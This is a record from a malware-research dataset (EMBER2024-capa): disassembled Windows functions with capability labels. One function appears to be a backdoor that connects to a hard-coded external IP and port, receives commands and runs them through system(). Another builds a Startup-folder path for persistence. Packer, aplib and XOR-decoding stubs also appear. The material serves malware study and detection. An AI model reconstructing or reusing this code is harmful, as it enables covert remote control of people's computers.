joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002180
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov dword [rsp + 0x50], 0x101
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], send
mov byte [rsp + 0x30], al
xor r8d, r8d
lea rdx, [0x1400044d8]
lea rcx, [rsp + 0x30]
call fcn.140002660
nop
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140002237
lea rax, [rcx + 9]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 9
lea rdx, str.C:Users_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x140002256
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
mov edx, 9
lea rcx, [rsp + 0x30]
call fcn.1400027e0
lea rax, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002262
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400022b1
lea rax, [rcx + rdi]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8, rdi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x1400022c8
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400027e0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x3e
jb 0x140002314
lea rax, [rcx + 0x3e]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x3e
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x3e], 0
jmp 0x140002333
mov qword [rsp + 0x20], 0x3e
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
mov edx, 0x3e
lea rcx, [rsp + 0x30]
call fcn.1400027e0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
lea rcx, [0x140004568]
call fcn.140001040
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002391
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000238c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000238c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029a0
mov eax, 1
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140002980
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1400023c0
Capabilities:
Connect socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x220
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rsp + 0x210], rax
call fcn.140002180
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140002593
xor ebp, ebp
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rbp
xorps xmm1, xmm1
mov qword [rsp + 0x38], rbp
lea r9, [rsp + 0x28]
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x38]
mov dword [rsp + 0x44], 6
lea rdx, str.33110
lea rcx, str.13.112.122.67
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x1400025e2
mov rdi, qword [rsp + 0x28]
test rdi, rdi
je 0x140002539
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400025d3
nop dword [rax]
mov r8d, dword [rdi + 0x10]
mov rcx, rsi
mov rdx, qword [rdi + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
mov ecx, 0x64
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jne 0x1400024a0
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
mov dword [rsp + 0x20], ebp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, str.get_num:
call fcn.140001040
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov rcx, rsi
lea r8d, [r9 + 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1400025ca
movsx edx, byte [rsp + 0x30]
lea rcx, [0x140004704]
call fcn.140001040
movzx edx, byte [rsp + 0x30]
lea r8, [rsp + 0x20]
mov rcx, rsi
call fcn.1400014a0
test eax, eax
jne 0x1400024e0
lea rcx, str.disconnected..._n
jmp 0x140002564
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002420
lea rcx, str.WSAStartup_fail_n
call fcn.140001040
xor eax, eax
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.140002980
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea rcx, str.get_num_fail..disconnet__n
jmp 0x14000259a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.socket_failed:__ld_n
jmp 0x1400025e9
lea rcx, str.getaddrinfo_failed:__d_n
mov edx, eax
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400025a1
Function at 0x140139a20
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140139a2d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140139a3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140139a25
lea eax, [rcx + 1]
jmp 0x140139a4b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140139a5e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140139a44
sub eax, 3
jb 0x140139a7e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140139acd
sar eax, 1
movsxd rbp, eax
jb 0x140139ab4
jmp 0x140139a8c
add ebx, ebx
jne 0x140139a8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140139ab4
inc ecx
add ebx, ebx
jne 0x140139a9a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140139ab4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140139aad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140139a9c
add ecx, 2
jmp 0x140139ab9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401399e2
jmp 0x140139a2d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xd4000
mov dl, 0x1a
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140139b1d
cmp rsi, rcx
jae 0x140139b25
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140139b04
cmp al, 0x8f
ja 0x140139b04
cmp byte [rsi - 2], 0xf
je 0x140139b0a
sub al, 0xe8
cmp al, 1
ja 0x140139aee
cmp rsi, rcx
jae 0x140139b25
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140139af4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140139b25
lodsb al, byte [rsi]
jmp 0x140139b04
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x135000]
mov eax, dword [rdi]
or eax, eax
je 0x140139b82
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1394ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140139b32
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140139b7c
mov qword [rbx], rax
add rbx, 8
jmp 0x140139b52
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140139bbc
cmp al, 0xef
ja 0x140139bae
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140139b8e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140139b9d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140139c3b], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140139c3b
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140139c2b
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x1407b3210
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1407b3397
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407b3241
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407b3227
add dl, dl
jne 0x1407b324e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407b32ae
xor eax, eax
add dl, dl
jne 0x1407b325d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407b3365
add dl, dl
jne 0x1407b326e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407b327b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407b3288
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407b3295
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407b32a2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407b3236
mov eax, 1
add dl, dl
jne 0x1407b32be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407b32cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407b32b3
sub eax, ebx
mov ebx, 1
jne 0x1407b3304
mov ecx, 1
add dl, dl
jne 0x1407b32e6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407b32f3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407b32db
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407b3236
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407b3320
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407b332d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407b3315
cmp eax, 0x7d00
jae 0x1407b3353
cmp eax, 0x500
jb 0x1407b334e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407b3236
cmp eax, 0x7f
ja 0x1407b3356
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407b3236
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407b338a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407b3236
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140059b50
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140059b5d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140059b6d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140059b55
lea eax, [rcx + 1]
jmp 0x140059b7b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140059b8e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140059b74
sub eax, 3
jb 0x140059bae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140059bfd
sar eax, 1
movsxd rbp, eax
jb 0x140059be4
jmp 0x140059bbc
add ebx, ebx
jne 0x140059bba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140059be4
inc ecx
add ebx, ebx
jne 0x140059bca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140059be4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140059bdd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140059bcc
add ecx, 2
jmp 0x140059be9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140059b12
jmp 0x140059b5d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2b200
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140059c49
cmp rsi, rcx
jae 0x140059c51
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140059c30
cmp al, 0x8f
ja 0x140059c30
cmp byte [rsi - 2], 0xf
je 0x140059c36
sub al, 0xe8
cmp al, 1
ja 0x140059c1a
cmp rsi, rcx
jae 0x140059c51
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140059c20
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140059c51
lodsb al, byte [rsi]
jmp 0x140059c30
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x57000]
mov eax, dword [rdi]
or eax, eax
je 0x140059cae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x67fb0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140059c5e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140059ca8
mov qword [rbx], rax
add rbx, 8
jmp 0x140059c7e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140059ce8
cmp al, 0xef
ja 0x140059cda
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140059cba
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140059cc9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140059d3c
sub rsp, 0xffffffffffffff80
jmp 0x14000b9e0
Function at 0x140f69ef4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f69efe
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f69f27
pop rbp
sub rbp, 0x33
sub rbp, 0xf69ef4
sub rsp, 0x20
jmp 0x140f69f46
mov rax, 0xf69ef4
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x19645cfb
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f69f65
jmp 0x140f69f7c
mov bl, 0x72
adc dh, byte [rax + 0x72]
invalid
Function at 0x140629058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406291df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140629089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14062906f
add dl, dl
jne 0x140629096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406290f6
xor eax, eax
add dl, dl
jne 0x1406290a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406291ad
add dl, dl
jne 0x1406290b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406290c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406290d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406290dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406290ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14062907e
mov eax, 1
add dl, dl
jne 0x140629106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140629113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406290fb
sub eax, ebx
mov ebx, 1
jne 0x14062914c
mov ecx, 1
add dl, dl
jne 0x14062912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14062913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140629123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14062907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140629168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140629175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14062915d
cmp eax, 0x7d00
jae 0x14062919b
cmp eax, 0x500
jb 0x140629196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14062907e
cmp eax, 0x7f
ja 0x14062919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14062907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406291d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14062907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140005b10
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
mov r8d, 1
mov r9d, 0x100
cmp rdx, 0x40
jae 0x140005b2b
xor eax, eax
jmp 0x140005c21
test cl, 3
je 0x140005b3d
xor eax, eax
mov r9d, 0x400
jmp 0x140005c21
movzx eax, word [rcx]
cmp eax, 0x5a4d
jne 0x140005c19
mov r10d, dword [rcx + 0x3c]
test r10b, 3
jne 0x140005b30
cmp r10d, 0x1000000
jbe 0x140005b6b
xor eax, eax
mov r9d, 0x700
jmp 0x140005c21
lea r11, [r10 + 0x88]
cmp r11, rdx
ja 0x140005b24
cmp dword [rcx + r10], 0x4550
jne 0x140005c19
movzx esi, word [rcx + r10 + 0x18]
cmp esi, 0x20b
je 0x140005b9b
cmp esi, 0x10b
jne 0x140005c19
mov edi, dword [rcx + r10 + 0x54]
cmp rdi, rdx
ja 0x140005b24
mov eax, dword [rcx + r10 + 0x50]
cmp edi, eax
ja 0x140005b5e
movzx esi, si
cmp esi, 0x20b
jne 0x140005c2a
mov esi, dword [rcx + r10 + 0x84]
cmp esi, 0x10
mov edi, 0x10
cmovb edi, esi
shl edi, 3
add r11, rdi
cmp r11, rdx
ja 0x140005b24
movzx r11d, word [rcx + r10 + 6]
cmp r11, 0x60
ja 0x140005b5e
lea r11, [r11 + r11*4]
lea r11, [r10 + r11*8]
movzx ecx, word [rcx + r10 + 0x14]
add rcx, r11
add rcx, 0x18
cmp rcx, rdx
ja 0x140005b24
shl rax, 0x20
xor r9d, r9d
xor r8d, r8d
jmp 0x140005c21
xor eax, eax
mov r9d, 0x500
or rax, r8
or rax, r9
pop rdi
pop rsi
ret
mov r9d, 0x600
xor eax, eax
jmp 0x140005c21
Function at 0x1400062e0
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 8
mov qword [rbp - 0x10], 0
mov dword [rbp - 4], 0
mov qword [rbp - 0x30], rdx
mov r14, qword [rdx]
mov edi, 8
lea r15, [rbp - 4]
xor ebx, ebx
xor esi, esi
jmp 0x14000634d
mov r13, r12
mov qword [rbp - 0x10], r13
mov rbx, r13
mov esi, r12d
lea r8d, [rbx*8]
mov dword [rsp + 0x20], 3
mov rcx, r14
mov rdx, rdi
mov r9, r15
call sub.PSAPI.DLL_EnumProcessModulesEx
test eax, eax
je 0x1400063fc
mov r12d, dword [rbp - 4]
cmp r12d, esi
jbe 0x14000643d
cmp rbx, r12
jae 0x140006340
mov rsi, r12
sub rsi, rbx
mov rax, qword [rbp - 0x20]
sub rax, rbx
mov r13, rbx
cmp rax, rsi
jae 0x1400063b1
lea rcx, [rbp - 0x20]
mov rdx, rbx
mov r8, rsi
call fcn.1400233e0
mov rdi, qword [rbp - 0x18]
mov r13, qword [rbp - 0x10]
lea rcx, [rdi + r13*8]
cmp rsi, 2
jb 0x1400063e4
mov r8, rbx
not r8
add r8, r12
shl r8, 3
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [r12 + r13]
sub rax, rbx
lea rcx, [rdi + rax*8]
add rcx, 0xfffffffffffffff8
add r13, rsi
dec r13
cmp rbx, r12
je 0x140006343
mov qword [rcx], 0
inc r13
jmp 0x140006343
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp - 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], 0
mov rdx, qword [rbp - 0x20]
test rdx, rdx
je 0x1400064df
mov rcx, qword [rbp - 0x18]
shl rdx, 3
mov r8d, 8
call fcn.140004280
jmp 0x1400064df
mov r14, r12
shr r14, 3
cmp rbx, r14
jb 0x1400064f3
cmp r12d, 8
jae 0x14000645c
mov eax, 8
xor ecx, ecx
jmp 0x1400064a9
mov r15, r14
shl r15, 4
mov edx, 8
mov rcx, r15
call fcn.140004270
test rax, rax
je 0x140006507
xor edx, edx
xor ecx, ecx
mov r9, qword [rbp - 0x30]
nop word cs:[rax + rax]
mov r8, qword [rdi + rcx*8]
mov qword [rax + rdx], r8
mov qword [rax + rdx + 8], r9
inc rcx
add rdx, 0x10
cmp r15, rdx
jne 0x140006490
mov rdx, qword [rbp - 0x28]
mov qword [rdx + 8], r14
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
mov qword [rdx], 4
mov rdx, qword [rbp - 0x20]
test rdx, rdx
je 0x1400064db
shl rdx, 3
mov r8d, 8
mov rcx, rdi
call fcn.140004280
mov rsi, qword [rbp - 0x28]
mov rax, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.C:Usersmikulas.hrdlicka.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinproc_0.6.4_srcprocessmod.rs
mov rcx, r14
mov rdx, rbx
call fcn.140024670
jmp 0x140006514
mov edx, 8
mov rcx, r15
call fcn.140024160
ud2
Function at 0x1400097e0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r13d, r13d
cmp r8, 0x201
jae 0x140009880
jmp 0x14000986f
jae 0x140009940
cmp r8, 0x201
jae 0x140009880
lea r12, [rbp - 0x58]
mov esi, 0x200
mov r15, r8
jmp 0x1400098d8
sub r8, r13
sub rdi, r13
cmp rdi, r8
jae 0x1400098af
lea rcx, [rbp + 0x3c8]
mov rdx, r13
call fcn.140023640
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r13d, 0xffffffff
cmovb r13, rbx
mov qword [rbp + 0x3d8], r13
mov rdi, rbx
mov r12, qword [rbp + 0x3e8]
mov rsi, r13
mov r15, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140009901
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400099a8
mov r8d, r14d
cmp r15, r8
jne 0x140009860
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400099cb
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14000986f
jmp 0x140009880
cmp rsi, r8
jb 0x1400099e5
lea rcx, [rbp + 0x3a8]
mov rdx, r12
call fcn.14000c350
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x140009991
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.140004280
mov rax, rsi
